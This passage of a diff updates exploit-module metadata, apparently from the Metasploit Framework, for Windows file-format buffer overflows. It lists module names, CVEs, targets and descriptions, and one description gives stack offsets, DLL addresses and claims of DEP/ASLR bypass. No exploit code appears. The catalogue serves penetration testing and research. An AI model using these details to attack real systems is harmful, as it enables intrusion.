overflow in HTML Help Workshop 4.74\n By creating a specially crafted hhp file, an attacker may be able\n to execute arbitrary code.", "references": [ "CVE-2006-0564", "OSVDB-22941", @@ -155873,16 +159351,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP English SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/hhw_hhp_compiledfile_bof", @@ -155890,6 +159364,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155897,9 +159380,7 @@ "exploit_windows/fileformat/hhw_hhp_contentfile_bof": { "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "fullname": "exploit/windows/fileformat/hhw_hhp_contentfile_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2006-02-06", "type": "exploit", @@ -155917,16 +159398,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP English SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/hhw_hhp_contentfile_bof", @@ -155934,6 +159411,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155941,9 +159427,7 @@ "exploit_windows/fileformat/hhw_hhp_indexfile_bof": { "name": "HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow", "fullname": "exploit/windows/fileformat/hhw_hhp_indexfile_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-17", "type": "exploit", @@ -155963,16 +159447,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP English SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/hhw_hhp_indexfile_bof", @@ -155980,6 +159460,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -155987,9 +159476,7 @@ "exploit_windows/fileformat/homm3_h3m": { "name": "Heroes of Might and Magic III .h3m Map file Buffer Overflow", "fullname": "exploit/windows/fileformat/homm3_h3m", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-07-29", "type": "exploit", @@ -155997,25 +159484,21 @@ "Pierre Lindblad", "John AAkerblom" ], - "description": "This module embeds an exploit into an uncompressed map file (.h3m) for\n Heroes of Might and Magic III. Once the map is started in-game, a\n buffer overflow occurring when loading object sprite names leads to\n shellcode execution.", + "description": "This module embeds an exploit into an uncompressed map file (.h3m) for\n Heroes of Might and Magic III. Once the map is started in-game, a\n buffer overflow occurring when loading object sprite names leads to\n shellcode execution.", "references": [ "EDB-37716" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]", "HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]", "Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]" ], - "mod_time": "2023-07-14 12:46:26 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/homm3_h3m.rb", "is_install_path": true, "ref_name": "windows/fileformat/homm3_h3m", @@ -156023,6 +159506,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156030,9 +159522,7 @@ "exploit_windows/fileformat/ht_mp3player_ht3_bof": { "name": "HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/ht_mp3player_ht3_bof", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-06-29", "type": "exploit", @@ -156051,16 +159541,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HT-MP3Player 1.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/ht_mp3player_ht3_bof", @@ -156068,6 +159554,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156075,9 +159570,7 @@ "exploit_windows/fileformat/ibm_forms_viewer_fontname": { "name": "IBM Forms Viewer Unicode Buffer Overflow", "fullname": "exploit/windows/fileformat/ibm_forms_viewer_fontname", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-05", "type": "exploit", @@ -156085,7 +159578,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability\n is due to a dangerous usage of a strcpy-like function, and occurs while parsing malformed\n XFDL files containing a long fontname value. This module has been tested successfully on IBM\n Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability\n is due to a dangerous usage of a strcpy-like function, and occurs while parsing malformed\n XFDL files containing a long fontname value. This module has been tested successfully on IBM\n Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2013-5447", "OSVDB-100732", @@ -156095,16 +159588,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb", "is_install_path": true, "ref_name": "windows/fileformat/ibm_forms_viewer_fontname", @@ -156112,6 +159601,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156119,16 +159617,14 @@ "exploit_windows/fileformat/ibm_pcm_ws": { "name": "IBM Personal Communications iSeries Access WorkStation 5.9 Profile", "fullname": "exploit/windows/fileformat/ibm_pcm_ws", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-02-28", "type": "exploit", "author": [ "TecR0c " ], - "description": "The IBM Personal Communications I-Series application WorkStation is susceptible to a\n stack-based buffer overflow vulnerability within file parsing in which data copied to a\n location in memory exceeds the size of the reserved destination area. The buffer is located\n on the runtime program stack.\n\n When the WorkStation file is opened it will reach the code path at 0x67575180 located in\n pcspref.dll which conducts string manipulation and validation on the data supplied in the\n WorkStation file. The application will first check if 'Profile' header exists and appends\n a dot with the next parameter within the file. It will then measure the character length\n of the header by calling strcspn with a dot as its null-terminated character.\n\n It will then write the header into memory and ensure the header ends with a NUL character.\n The parameter character array is passed to the strcpy() function. The application has\n declared a 52-element character array for the destination for strcpy function. The\n function does not perform bounds checking therefore, data can be written paste the end of\n the buffer variable resulting in corruption of adjacent variables including other local\n variables, program state information and function arguments. You will notice that the\n saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.\n\n To ensure we can perform arbitrary code execution we must we provide a valid pointer at\n 0x74 which is used as an argument for the called function at 0x675751ED as an id file\n extension parameter. Once the caller regains control we will reach our RETURN. The Ret\n instruction will be used to pop the overwritten saved return address which was corrupted.\n\n This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.\n\n Versions tested:\n IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a\n Which bundles pcsws.exe version 5090.27271.709\n\n Tested on:\n Microsoft Windows XP [Version 5.1.2600]\n Microsoft Windows Vista [Version 6.0.6002]\n Microsoft Windows 7 [Version 6.1.7600]", + "description": "The IBM Personal Communications I-Series application WorkStation is susceptible to a\n stack-based buffer overflow vulnerability within file parsing in which data copied to a\n location in memory exceeds the size of the reserved destination area. The buffer is located\n on the runtime program stack.\n\n When the WorkStation file is opened it will reach the code path at 0x67575180 located in\n pcspref.dll which conducts string manipulation and validation on the data supplied in the\n WorkStation file. The application will first check if 'Profile' header exists and appends\n a dot with the next parameter within the file. It will then measure the character length\n of the header by calling strcspn with a dot as its null-terminated character.\n\n It will then write the header into memory and ensure the header ends with a NUL character.\n The parameter character array is passed to the strcpy() function. The application has\n declared a 52-element character array for the destination for strcpy function. The\n function does not perform bounds checking therefore, data can be written paste the end of\n the buffer variable resulting in corruption of adjacent variables including other local\n variables, program state information and function arguments. You will notice that the\n saved RETURN address at offset 0x6c is overwritten by the data written past the buffer.\n\n To ensure we can perform arbitrary code execution we must we provide a valid pointer at\n 0x74 which is used as an argument for the called function at 0x675751ED as an id file\n extension parameter. Once the caller regains control we will reach our RETURN. The Ret\n instruction will be used to pop the overwritten saved return address which was corrupted.\n\n This exploit has been written to bypass 2 mitigations DEP and ASLR on a Windows platform.\n\n Versions tested:\n IBM System i Access for Windows V6R1M0 version 06.01.0001.0000a\n Which bundles pcsws.exe version 5090.27271.709\n\n Tested on:\n Microsoft Windows XP [Version 5.1.2600]\n Microsoft Windows Vista [Version 6.0.6002]\n Microsoft Windows 7 [Version 6.1.7600]", "references": [ "CVE-2012-0201", "OSVDB-79657", @@ -156137,17 +159633,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IBM WorkStation 5.9 (Windows XP SP3)", "IBM WorkStation 5.9 (Windows 7, Windows Vista)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ibm_pcm_ws.rb", "is_install_path": true, "ref_name": "windows/fileformat/ibm_pcm_ws", @@ -156155,6 +159647,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156162,9 +159663,7 @@ "exploit_windows/fileformat/icofx_bof": { "name": "IcoFX Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/icofx_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-12-10", "type": "exploit", @@ -156172,7 +159671,7 @@ "Marcos Accossatto", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in version 2.1\n of IcoFX. The vulnerability exists while parsing .ICO files, where a specially\n crafted ICONDIR header providing an arbitrary long number of images in the file\n can be used to trigger the overflow when reading the ICONDIRENTRY structures.", + "description": "This module exploits a stack-based buffer overflow vulnerability in version 2.1\n of IcoFX. The vulnerability exists while parsing .ICO files, where a specially\n crafted ICONDIR header providing an arbitrary long number of images in the file\n can be used to trigger the overflow when reading the ICONDIRENTRY structures.", "references": [ "CVE-2013-4988", "OSVDB-100826", @@ -156183,16 +159682,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IcoFX 2.5 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/icofx_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/icofx_bof", @@ -156200,6 +159695,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156207,9 +159711,7 @@ "exploit_windows/fileformat/ideal_migration_ipj": { "name": "PointDev IDEAL Migration Buffer Overflow", "fullname": "exploit/windows/fileformat/ideal_migration_ipj", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-12-05", "type": "exploit", @@ -156218,7 +159720,7 @@ "dookie", "jduck " ], - "description": "This module exploits a stack buffer overflow in versions v9.7\n through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of\n IDEAL Migration. All versions are suspected to be vulnerable.\n By creating a specially crafted ipj file, an attacker may be able\n to execute arbitrary code.\n\n NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH", + "description": "This module exploits a stack buffer overflow in versions v9.7\n through v10.5 of IDEAL Administration and versions 4.5 and 4.51 of\n IDEAL Migration. All versions are suspected to be vulnerable.\n By creating a specially crafted ipj file, an attacker may be able\n to execute arbitrary code.\n\n NOTE: IDEAL Administration 10.5 is compiled with /SafeSEH", "references": [ "CVE-2009-4265", "OSVDB-60681", @@ -156230,17 +159732,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IDEAL Migration <= 4.5.1 on Windows XP", "IDEAL Administration <= 10.5 on Windows XP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ideal_migration_ipj.rb", "is_install_path": true, "ref_name": "windows/fileformat/ideal_migration_ipj", @@ -156248,6 +159746,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156255,9 +159762,7 @@ "exploit_windows/fileformat/iftp_schedule_bof": { "name": "i-FTP Schedule Buffer Overflow", "fullname": "exploit/windows/fileformat/iftp_schedule_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-06", "type": "exploit", @@ -156265,7 +159770,7 @@ "metacom", "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n i-Ftp v2.20, caused by a long time value set for scheduled download.\n\n By persuading the victim to place a specially-crafted Schedule.xml file\n in the i-FTP folder, a remote attacker could execute arbitrary code on\n the system or cause the application to crash. This module has been\n tested successfully on Windows XP SP3.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n i-Ftp v2.20, caused by a long time value set for scheduled download.\n\n By persuading the victim to place a specially-crafted Schedule.xml file\n in the i-FTP folder, a remote attacker could execute arbitrary code on\n the system or cause the application to crash. This module has been\n tested successfully on Windows XP SP3.", "references": [ "EDB-35177", "OSVDB-114279" @@ -156273,16 +159778,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/iftp_schedule_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/iftp_schedule_bof", @@ -156290,6 +159791,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156297,9 +159807,7 @@ "exploit_windows/fileformat/irfanview_jpeg2000_bof": { "name": "Irfanview JPEG2000 jp2 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/irfanview_jpeg2000_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-16", "type": "exploit", @@ -156308,7 +159816,7 @@ "mr_me ", "juan vazquez " ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has\n been tested on a specific version of irfanview (v4.3.2), although other\n versions may work also. The vulnerability is triggered via parsing an\n invalid qcd chunk structure and specifying a malformed qcd size and\n data.\n\n Payload delivery and vulnerability trigger can be executed in multiple\n ways. The user can double click the file, use the file dialog, open via\n the icon and drag/drop the file into Irfanview's window. An egg hunter\n is used for stability.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has\n been tested on a specific version of irfanview (v4.3.2), although other\n versions may work also. The vulnerability is triggered via parsing an\n invalid qcd chunk structure and specifying a malformed qcd size and\n data.\n\n Payload delivery and vulnerability trigger can be executed in multiple\n ways. The user can double click the file, use the file dialog, open via\n the icon and drag/drop the file into Irfanview's window. An egg hunter\n is used for stability.", "references": [ "CVE-2012-0897", "OSVDB-78333", @@ -156318,16 +159826,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Irfanview 4.32 / Plugins 4.32 / Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/irfanview_jpeg2000_bof", @@ -156335,6 +159839,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156342,9 +159855,7 @@ "exploit_windows/fileformat/ispvm_xcf_ispxcf": { "name": "Lattice Semiconductor ispVM System XCF File Handling Overflow", "fullname": "exploit/windows/fileformat/ispvm_xcf_ispxcf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-16", "type": "exploit", @@ -156352,7 +159863,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a vulnerability found in ispVM System 18.0.2. Due to the way\n ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially\n crafted file, when a long value is supplied for the version attribute of the ispXCF\n tag. It results in arbitrary code execution under the context of the user.", + "description": "This module exploits a vulnerability found in ispVM System 18.0.2. Due to the way\n ispVM handles .xcf files, it is possible to cause a buffer overflow with a specially\n crafted file, when a long value is supplied for the version attribute of the ispXCF\n tag. It results in arbitrary code execution under the context of the user.", "references": [ "OSVDB-82000", "BID-53562", @@ -156361,16 +159872,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "ispVM System 18.0.2 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb", "is_install_path": true, "ref_name": "windows/fileformat/ispvm_xcf_ispxcf", @@ -156378,6 +159885,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156385,9 +159901,7 @@ "exploit_windows/fileformat/kingview_kingmess_kvl": { "name": "KingView Log File Parsing Buffer Overflow", "fullname": "exploit/windows/fileformat/kingview_kingmess_kvl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-20", "type": "exploit", @@ -156396,7 +159910,7 @@ "Carlos Mario Penagos Hollman", "juan vazquez " ], - "description": "This module exploits a vulnerability found in KingView <= 6.55. It exists in\n the KingMess.exe application when handling log files, due to the insecure usage of\n sprintf. This module uses a malformed .kvl file which must be opened by the victim\n via the KingMess.exe application, through the 'Browse Log Files' option. The module\n has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over\n Windows XP SP3.", + "description": "This module exploits a vulnerability found in KingView <= 6.55. It exists in\n the KingMess.exe application when handling log files, due to the insecure usage of\n sprintf. This module uses a malformed .kvl file which must be opened by the victim\n via the KingMess.exe application, through the 'Browse Log Files' option. The module\n has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over\n Windows XP SP3.", "references": [ "CVE-2012-4711", "OSVDB-89690", @@ -156406,16 +159920,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb", "is_install_path": true, "ref_name": "windows/fileformat/kingview_kingmess_kvl", @@ -156423,6 +159933,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156430,9 +159949,7 @@ "exploit_windows/fileformat/lattice_pac_bof": { "name": "Lattice Semiconductor PAC-Designer 6.21 Symbol Value Buffer Overflow", "fullname": "exploit/windows/fileformat/lattice_pac_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-16", "type": "exploit", @@ -156441,7 +159958,7 @@ "juan vazquez ", "sinn3r " ], - "description": "This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer\n 6.21. As a .pac file, when supplying a long string of data to the 'value' field\n under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption\n on the stack, which results in arbitrary code execution under the context of the\n user.", + "description": "This module exploits a vulnerability found in Lattice Semiconductor PAC-Designer\n 6.21. As a .pac file, when supplying a long string of data to the 'value' field\n under the 'SymbolicSchematicData' tag, it is possible to cause a memory corruption\n on the stack, which results in arbitrary code execution under the context of the\n user.", "references": [ "CVE-2012-2915", "OSVDB-82001", @@ -156452,16 +159969,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PAC-Designer 6.21 on Windows XP SP3" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/lattice_pac_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/lattice_pac_bof", @@ -156469,6 +159982,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156476,9 +159998,7 @@ "exploit_windows/fileformat/lotusnotes_lzh": { "name": "Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)", "fullname": "exploit/windows/fileformat/lotusnotes_lzh", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-05-24", "type": "exploit", @@ -156486,7 +160006,7 @@ "binaryhouse.net", "alino <26alino@gmail.com>" ], - "description": "This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when\n parsing a malformed, specially crafted LZH file. This vulnerability was\n discovered binaryhouse.net", + "description": "This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when\n parsing a malformed, specially crafted LZH file. This vulnerability was\n discovered binaryhouse.net", "references": [ "CVE-2011-1213", "OSVDB-72706", @@ -156497,17 +160017,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal", "Lotus Notes 8.5.2 FP2 / Windows Universal / DEP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/lotusnotes_lzh.rb", "is_install_path": true, "ref_name": "windows/fileformat/lotusnotes_lzh", @@ -156515,6 +160031,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156522,9 +160047,7 @@ "exploit_windows/fileformat/magix_musikmaker_16_mmm": { "name": "Magix Musik Maker 16 .mmm Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/magix_musikmaker_16_mmm", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-04-26", "type": "exploit", @@ -156532,7 +160055,7 @@ "acidgen", "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in Magix Musik Maker 16.\n When opening a specially crafted arrangement file (.mmm) in the application, an\n unsafe strcpy() will allow you to overwrite a SEH handler. This exploit\n bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Egghunter is used, and\n might require up to several seconds to receive a shell.", + "description": "This module exploits a stack buffer overflow in Magix Musik Maker 16.\n When opening a specially crafted arrangement file (.mmm) in the application, an\n unsafe strcpy() will allow you to overwrite a SEH handler. This exploit\n bypasses DEP & ASLR, and works on XP, Vista & Windows 7. Egghunter is used, and\n might require up to several seconds to receive a shell.", "references": [ "OSVDB-72063", "URL-http://www.corelan.be/advisories.php?id=CORELAN-11-002" @@ -156540,16 +160063,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal DEP & ASLR Bypass" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb", "is_install_path": true, "ref_name": "windows/fileformat/magix_musikmaker_16_mmm", @@ -156557,6 +160076,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156564,16 +160092,14 @@ "exploit_windows/fileformat/mcafee_hercules_deletesnapshot": { "name": "McAfee Remediation Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/fileformat/mcafee_hercules_deletesnapshot", - "aliases": [ - - ], + "aliases": [], "rank": 100, "disclosure_date": "2008-08-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in McAfee Remediation Agent 4.5.0.41. When\n sending an overly long string to the DeleteSnapshot() method\n of enginecom.dll (3.7.0.9) an attacker may be able to execute arbitrary code.\n This control is not marked safe for scripting, so choose your attack vector accordingly.", + "description": "This module exploits a stack buffer overflow in McAfee Remediation Agent 4.5.0.41. When\n sending an overly long string to the DeleteSnapshot() method\n of enginecom.dll (3.7.0.9) an attacker may be able to execute arbitrary code.\n This control is not marked safe for scripting, so choose your attack vector accordingly.", "references": [ "OSVDB-94540", "EDB-16639" @@ -156581,16 +160107,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb", "is_install_path": true, "ref_name": "windows/fileformat/mcafee_hercules_deletesnapshot", @@ -156598,6 +160120,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -156605,9 +160136,7 @@ "exploit_windows/fileformat/mcafee_showreport_exec": { "name": "McAfee SaaS MyCioScan ShowReport Remote Command Execution", "fullname": "exploit/windows/fileformat/mcafee_showreport_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-12", "type": "exploit", @@ -156615,7 +160144,7 @@ "rgod", "sinn3r " ], - "description": "This module exploits a vulnerability found in McAfee Security-as-a-Service.\n The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails\n to check the FileName argument, and passes it on to a ShellExecuteW() function,\n therefore allows any malicious attacker to execute any process that's on the\n local system. However, if the victim machine is connected to a remote share\n (or something similar), then it's also possible to execute arbitrary code.\n Please note that a custom template is required for the payload, because the\n default Metasploit template is 